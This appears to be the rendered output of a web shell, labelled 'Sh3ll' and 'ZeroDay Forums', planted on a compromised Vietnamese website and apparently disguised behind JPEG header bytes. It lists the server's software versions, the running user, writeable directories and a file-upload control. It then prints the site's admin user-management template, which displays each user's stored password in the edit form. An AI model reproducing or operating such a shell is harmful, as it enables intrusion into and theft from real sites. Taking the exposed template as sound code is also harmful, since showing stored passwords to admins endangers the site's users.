ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/thietkewebvumi.com/admin_new/skin/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/thietkewebvumi.com/admin_new/skin/admin/user.tpl
<h4 class="alert_info"><form action="index.php?act=user" method="post">
    <input type="text" name="fkeyword" value="" />
    <input type="submit" name="submita" value="Tìm user" />
</form></h4>
{if $status == 'del_success'}
<h4 class="alert_success">Xóa user thành công</h4>
{/if}
{if $status == 'add_success'}
<h4 class="alert_success">Thêm user thành công</h4>
{/if}
{if $status == 'edit_success'}
<h4 class="alert_success">Sửa user thành công</h4>
{/if}
{if $section == 'list'}
<script type="text/javascript">
    function get_mid(){
        if(confirm('Bạn có chắc muốn xóa?')){
            $('#form1').submit();
            return false;
        }
    }
</script>

<article class="module width_full">
    <header><h3 class="tabs_involved"><a href="javascript:void(0);" onclick="get_mid();">Xóa</a> | <a href="index.php?act=user&code=post&type=add">Thêm mới</a></h3></header>
    <input type="checkbox" name="all" id="checkall" /> Check all


    <div class="tab_container">

        <form action="index.php" method="post" name="post" id="form1">
            <input type="hidden" name="act" value="user">
            <div id="tab1" class="tab_content">
                <a name="user"></a>
                <table class="tablesorter" cellspacing="0">
                    <thead>
                    <tr>
                        <th> </th>
                        <th>Username</th>
                        <th>Email</th>

                        <th>Ngày tham gia</th>
                        <th>Actions</th>
                    </tr>
                    </thead>


                    <tbody>

                        {if $list}
                            {foreach from=$list key=k item=user}
                            <tr>
                                <td><input type="checkbox" value="{$user.id}" name="mid_for_del[]"></td>
                                <td><a href="index.php?act=user&code=post&id={$user.id}" target="_blank">{$user.name}</a></td>
                                <td><a href="index.php?act=user&code=post&id={$user.id}" target="_blank">{$user.email}</a></td>

                                <td>{$user.joined}</td>

                                <td> {if $user.loai_the} <a href="index.php?act=user&code=card&id={$user.id}" target="_blank">Chi tiết thanh toán</a> |   {/if}  {if $user.diem > 0} <a href="index.php?act=user&code=point&id={$user.id}" target="_blank">Chi tiết điểm</a>  {/if}  <a href="index.php?act=user&code=post&id={$user.id}" target="_blank"><img src="skin/{$skin_folder_admin}/images/icn_edit.png" title="Edit"></a> <a href="index.php?act=user&code=del&id={$user.id}" onclick="return confirm('Bạn có chắc muốn xóa?')"><img src="skin/{$skin_folder_admin}/images/icn_trash.png" title="Trash"></a></td>
                            </tr>
                            {/foreach}
                        {/if}

                    </tbody>

                </table>
                <div class="spacer"></div>
                <div align="center">{$nav|html_entity_decode}</div>
                <div class="spacer"></div>
            </div>
        </form>

    </div><!-- end of .tab_container -->

</article><!-- end of content manager article -->
    {literal}
    <script type="text/javascript">
        $('#checkall:checkbox').change(function () {
            if(this.checked){
                $('input:checkbox').attr('checked','checked');//<input type='checkbox'
            }else{
                $('input:checkbox').removeAttr('checked');
            }
        });
    </script>
    {/literal}
{/if}
{if $section == 'post'}
    {literal}
    <script type="text/javascript">
        $(function() {
            $('.datepicker').datepicker({dateFormat: 'dd/mm/yy'});
        });
    </script>
    {/literal}
<article class="module width_full">
    <header><h3>Quản lý user {$post.name}</h3></header>
    <form name="post" action="index.php?act=user&code=post" method="post" enctype="multipart/form-data">
        <div class="module_content">
            <fieldset>
                <label>Username</label>
                <input type="text" value="{$post.name}" name="name" />
            </fieldset>

            {if $post.id>0}
                <fieldset>
                    <label style="padding-left: 10px;">Mật khẩu: </label>
                    <br>
                    {$post.password}
                    <br>
                    <label style="padding-left: 10px;"><a href="index.php?act=user&code=resetpass&id={$post.id}" >Reset mật khẩu</a> </label>
                </fieldset>
            {/if}

            {*<fieldset>
                <label>HỠvà tên bé</label>
                <input type="text" value="{$post.namecard}" name="namecard"  />
            </fieldset>

            <fieldset>
                <label>HỠvà tên phụ huynh</label>
                <input type="text" value="{$post.nameph}" name="nameph"  />
            </fieldset>

            <fieldset>
                <label>Mã số thẻ</label>
                <input type="text" value="{$post.codecard}" name="codecard" />
            </fieldset>

            <fieldset>
                <label>Loại thẻ</label>
                <select name="loai_the">
                    <option value="">--Chá»n--</option>
                    <option value="Thẻ Kim Cương" {if $post.loai_the=='Thẻ Kim Cương'}selected{/if}>Thẻ Kim Cương</option>
                    <option value="Thẻ Bạch Kim" {if $post.loai_the=='Thẻ Bạch Kim'}selected{/if}>Thẻ Bạch Kim</option>
                    <option value="Thẻ Vàng" {if $post.loai_the=='Thẻ Vàng'}selected{/if}>Thẻ Vàng</option>
                    <option value="Thẻ Bạc" {if $post.loai_the=='Thẻ Bạc'}selected{/if}>Thẻ Bạc</option>
                </select>
            </fieldset>

            <fieldset>
                <label>Ngày gia nhập CLB (dd/mm/yyyy)</label>
                <input type="text" value="{$post.ngay_gia_nhap}"  name="ngay_gia_nhap" class="datepicker" />
            </fieldset>

            <fieldset>
                <label>Hạn mức thẻ (điểm)</label>
                <input type="text" value="{$post.diem}" name="diem" />

            </fieldset>

            <fieldset>
                <label>Mệnh giá thẻ (VND)</label>
                <input type="text" value="{$post.menh_gia_the}"  name="menh_gia_the" />
            </fieldset>
            <fieldset>
                <label>Số tiá»n phải thanh toán (VND)</label>
                <input type="text" value="{$post.tien_phai_thanh_toan}"  name="tien_phai_thanh_toan" />
            </fieldset>
            <fieldset>
                <label>Phần trăm đặt cá»c (chỉ nhập số)</label>
                <input type="text" value="{$post.phan_tram_coc}"  name="phan_tram_coc" /> %
            </fieldset>

            <fieldset>
                <label>Số tiá»n thanh toán lần 1 (VND)</label>
                <input type="text" value="{$post.tien_thanh_toan_lan_1}" name="tien_thanh_toan_lan_1"/>
            </fieldset>

            <fieldset>
                <label>Ngày thanh toán lần 1 (dd/mm/yyyy)</label>
                <input type="text" value="{$post.ngay_thanh_toan_lan_1}" class="datepicker" name="ngay_thanh_toan_lan_1"  />
            </fieldset>
            <fieldset>
                <label>Số kỳ thanh toán</label>
                <input type="text" value="{$post.so_ky_thanh_toan}" name="so_ky_thanh_toan"/>
            </fieldset>

            <fieldset>
                <label>Thá»i hạn thanh toán (dd/mm/yyyy)</label>
                <input type="text" value="{$post.thoi_han_thanh_toan}"  name="thoi_han_thanh_toan" class="datepicker"/>
            </fieldset>
            <fieldset>
                <label>Tư vấn viên</label>
                <input type="text" value="{$post.tu_van_vien}"  name="tu_van_vien" />
            </fieldset>
*}

            <fieldset>
                <label>Email</label>

                    <input type="text" value="{$post.email|html_entity_decode}" name="email" />


            </fieldset>
            <fieldset>
                <label>Groups</label>
                <select name="ug_id">
                    {$post.ug_id_txt|html_entity_decode}
                </select>
            </fieldset>


        </div>
        <footer>
            <div class="submit_link">
                <input type="hidden" name="id" value="{$post.id}" />
                <input type="submit" name="bsubmit" value=" LÆ°u " />


            </div>
        </footer>

    </form>
</article><!-- end of post new article -->

{/if}
{if $section == 'card'}

    {literal}
        <script type="text/javascript">
            $(function() {
                $('.datepicker').datepicker({dateFormat: 'dd/mm/yy'});
            });
        </script>
    {/literal}
    <article class="module width_full">

        <header><h3 class="tabs_involved">Tài khoản/Lịch sử thanh toán user: {$username.name}</h3></header>



        <form action="index.php?act=user&code=card" method="post" name="post" id="form1">
   <div class="tab_container">
    <table class="tablesorter" cellspacing="0">
        <thead>
        <tr>
            <th>Ngày</th>
            <th>Ná»™i dung</th>
            <th>Số tiá»n (VNÄ)</th>
            <th>Tác vụ</th>
        </tr>
        </thead>
        <tr>
            <th>{$username.ngay_gia_nhap}</th>
            <th>Ngày gia nhập CLB</th>
            <th>{$username.tien_phai_thanh_toan|commify}</th>
            <th></th>
        </tr>
        {assign var="tien_phai" value=$username.tien_phai_thanh_toan}
        {assign var="ptcoc" value=$username.phan_tram_coc}
        {assign var="tien_coc" value=$tien_phai*$ptcoc/100}
        <tr>
            <th>{$username.ngay_gia_nhap}</th>
            <th>Äặt cá»c lần 1 ({$username.phan_tram_coc}%)</th>
            <th>{$tien_coc|commify}</th>
            <th></th>
        </tr>
        {assign var="lan_1" value=$username.tien_thanh_toan_lan_1}
        <tr>
            <th>{$username.ngay_thanh_toan_lan_1}</th>
            <th>Thanh toán lần 1</th>
            <th>{$username.tien_thanh_toan_lan_1|commify}</th>
            <th></th>
        </tr>
        <tr>
            <th colspan="3">Số kỳ thanh toán</th>
            <th>{$username.so_ky_thanh_toan}</th>
        </tr>
        {assign var="so_ky" value=$username.so_ky_thanh_toan}
        {assign var="tien_con_phai_tra" value=$tien_phai-$tien_coc-$lan_1}
        {assign var="tien_hang_thang" value=$tien_con_phai_tra/$so_ky}
        <tr>
            <th colspan="3">Tiá»n thanh toán hàng tháng</th>
            <th>{$tien_hang_thang|commify}</th>
        </tr>
        {foreach from=$lists item=list key=k}
            <tr>

                <th>{$list.ngay_thanh_toan}</th>
                <td>Thanh toán hàng tháng lần {$k+1}</td>
                <td>{$list.so_tien_da_thanh_toan|commify}</td>
                <td><input type="checkbox" name="tien_id[]" value="{$list.id}" {if $list.status==1}checked{/if}></td>
            </tr>
        {/foreach}
        <tr>
            <td>
                <input type="hidden" value="{$user_id}" name="user_id">
                <input type="hidden" value="{$list.card_id}" name="card_id"></td>
            <td></td>
            <td></td>
            <td></td>
            <td><input type="submit" name="submitbt_thanh_toan" value="Cập nhật"></td>
        </tr>
        <tr>
            <td colspan="5" align="right">
                <p>
                Tổng tiá»n đã thanh toán: <strong style="color: red;">{$total_so_tien|commify} VNÄ</strong>
                </p>
                <p>
                    ChÆ°a thanh toán: <strong style="color: red;">{$so_tien_chua_thanh_toan|commify} VNÄ</strong>
                </p>
            </td>
        </tr>
    </table>
       </div>
            </form>

    </article>
{/if}


{if $section == 'point'}

    {literal}
        <script type="text/javascript">
            $(function() {
                $('.datepicker').datepicker({dateFormat: 'dd/mm/yy'});
            });
        </script>
    {/literal}
    <article class="module width_full">

        <header><h3 class="tabs_involved">Lịch sử trừ điểm user: {$username}</h3></header>

            <form action="index.php?act=user&code=point" method="post" name="post" id="form1">
                <div class="tab_container">
                    <table class="tablesorter" cellspacing="0">
                        <thead>
                        <tr>
                            <th>Loại thẻ</th>
                            <th>Äiểm gốc trong TK</th>
                            <th>Äiểm cá»™ng</th>
                            <th>Äiểm trừ</th>
                            <th>Ngày cập nhật</th>
                            <th>Ghi chú</th>

                            <th></th>
                        </tr>
                        </thead>

                        {foreach from=$lists item=list key=k}
                            <tr>
                                <th>{if $k==0}{$list.card_id}{/if}</th>
                                <th>{if $k==0}{$list.diem_goc}{/if}</th>
                                <td>{$list.diem_cong}</td>
                                <td>{$list.diem_tru}</td>
                                <td>{$list.thoi_gian_tru}</td>
                                <td>{$list.ly_do_tru}</td>

                                <td><a href="index.php?act=user&code=delpoint&uid={$list.user_id}&id={$list.id}">Xóa</a> </td>
                            </tr>
                        {/foreach}
                        <tr>
                            <td>
                                <input type="hidden" value="{$user_id}" name="user_id">
                                <input type="hidden" value="{$list.card_id}" name="card_id"></td>
                            <td><input type="hidden" value="{$list.diem_goc}" name="diem_goc"></td>
                            <td><input type="text" name="diem_cong" style="width: 50px;"></td>
                            <td><input type="text" name="diem_tru" style="width: 50px;"></td>
                            <td><input type="text" name="thoi_gian_tru" class="datepicker" style="width: 50px;"></td>
                            <td><input type="text" name="ly_do_tru" style="width: 50px;"></td>
                            <td><input type="submit" name="submitbt_diem" value="Cập nhật"></td>
                        </tr>
                        <tr>
                            <td colspan="5" align="right">
                                <p>
                                    Số điểm đã trừ: <strong style="color: red;">{$total_diem.total_diem_tru}</strong>
                                </p>
                                <p>
                                    Số điểm đã cộng: <strong style="color: red;">{$total_diem.total_diem_cong}</strong>
                                </p>

                                <p>
                                    Số điểm cuối kỳ: <strong style="color: red;">{$diem_con_lai}</strong>
                                </p>

                            </td>
                        </tr>
                    </table>
                </div>
            </form>

    </article>
{/if}



{if $section == 'changepass'}


    <article class="module width_full">

        <header><h3 class="tabs_involved">Äổi mật khẩu user: {$user.name}</h3></header>
        {if $error == 'old_pass'}
            <h4 style="color: red">Mật khẩu cũ không đúng</h4>
        {/if}
        {if $error == 're_new_pass'}
            <h4 style="color: red">Nhập lại mật khẩu không đúng</h4>
        {/if}
       {if $error == 'none'}
        <h4 style="color: green">Äổi mật khẩu thành công</h4>
       {/if}
        <form action="index.php?act=user&code=changepass" method="post" name="post" id="form1">
            <div class="tab_container">
                <table class="tablesorter" cellspacing="0">
                    <thead>
                    <tr>
                        <th>Mật khẩu cũ</th>
                        <th>Mật khẩu mới</th>
                        <th>Nhập lại mk mới</th>

                    </tr>
                    </thead>
                    <tr>
                        <td><input type="password" name="old_password" style="width: 150px;"></td>
                        <td><input type="password" name="new_password" style="width: 150px;"></td>
                        <td><input type="password" name="re_new_password" class="datepicker" style="width: 150px;"></td>

                        <td><input type="submit" name="submitbt" value="Cập nhật"></td>
                    </tr>

                </table>
            </div>
        </form>

    </article>
{/if}

ZeroDay Forums Mini